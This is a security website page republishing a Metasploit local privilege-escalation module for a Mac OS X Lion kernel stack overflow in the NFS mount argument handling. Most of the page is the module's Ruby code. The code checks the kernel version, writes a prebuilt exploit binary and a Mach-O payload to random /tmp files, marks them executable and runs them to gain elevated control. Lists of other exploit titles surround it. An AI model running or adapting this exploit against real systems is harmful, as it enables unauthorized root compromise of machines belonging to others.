首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mac OS X NFS Mount Privilege Escalation Exploit
来源:metasploit.com 作者:joev 发布时间:2014-04-28  
##
# This module requires Metasploit: http//metasploit.com/download
##
  
require 'msf/core'
require 'rex'
  
class Metasploit3 < Msf::Exploit::Local
  Rank = NormalRanking
  
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info={})
    super(update_info(info,
      'Name'          => 'Mac OS X NFS Mount Privilege Escalation Exploit',
      'Description'   => %q{
        This exploit leverage a stack overflow vulnerability to escalate privileges.
        The vulnerable function nfs_convert_old_nfs_args does not verify the size
        of a user-provided argument before copying it to the stack. As a result by
        passing a large size, a local user can overwrite the stack with arbitrary
        content.
  
        Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Kenzley Alphonse', # discovery and a very well-written exploit
          'joev' # msf module
        ],
      'References'    =>
        [
          [ 'EDB', '32813' ]
        ],
      'Platform'      => 'osx',
      'Arch'          => [ ARCH_X86_64 ],
      'SessionTypes'  => [ 'shell', 'meterpreter' ],
      'Targets'       => [
        [ 'Mac OS X 10.7 Lion x64 (Native Payload)',
          {
            'Platform' => 'osx',
            'Arch' => ARCH_X86_64
          }
        ]
      ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Apr 11 2014'
    ))
  end
  
  def check
    if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end
  
  def exploit
    osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
    file = File.join(osx_path, 'nfs_mount_priv_escalation.bin')
    exploit = File.read(file)
    pload   = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
    tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
    payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
  
    print_status "Writing temp file... #{tmpfile}"
    write_file(tmpfile, exploit)
    register_file_for_cleanup(tmpfile)
  
    print_status "Writing payload file... #{payloadfile}"
    write_file(payloadfile, pload)
    register_file_for_cleanup(payloadfile)
  
    print_status "Executing payload..."
    cmd_exec("chmod +x #{tmpfile}")
    cmd_exec("chmod +x #{payloadfile}")
    cmd_exec("#{tmpfile} #{payloadfile}")
  end
  
  def xnu_ver
    m = cmd_exec("uname -a").match(/xnu-([0-9\.~]*)/)
    m && m[1]
  end
  
  def ver_lt(a, b)
    Gem::Version.new(a.gsub(/~.*?$/,'')) < Gem::Version.new(b.gsub(/~.*?$/,''))
  end
  
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Wireshark 1.8.12/1.10.5 wireta
·GeoCore MAX DB 7.3.3 Blind SQL
·Symantec Endpoint Protection M
·InfraRecorder 0.53 Unicode Buf
·Kolibri 2.0 GET Request - Stac
·NTP ntpd monlist Query Reflect
·cFos Personal Net 3.09 Heap Co
·McAfee ePolicy Orchestrator 4.
·JRuby Sandbox 0.2.2 Bypass
·SEP Manager 12.1.2015.2015 Ove
·mRemote Offline Password Decry
·Adobe Flash Player Type Confus
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved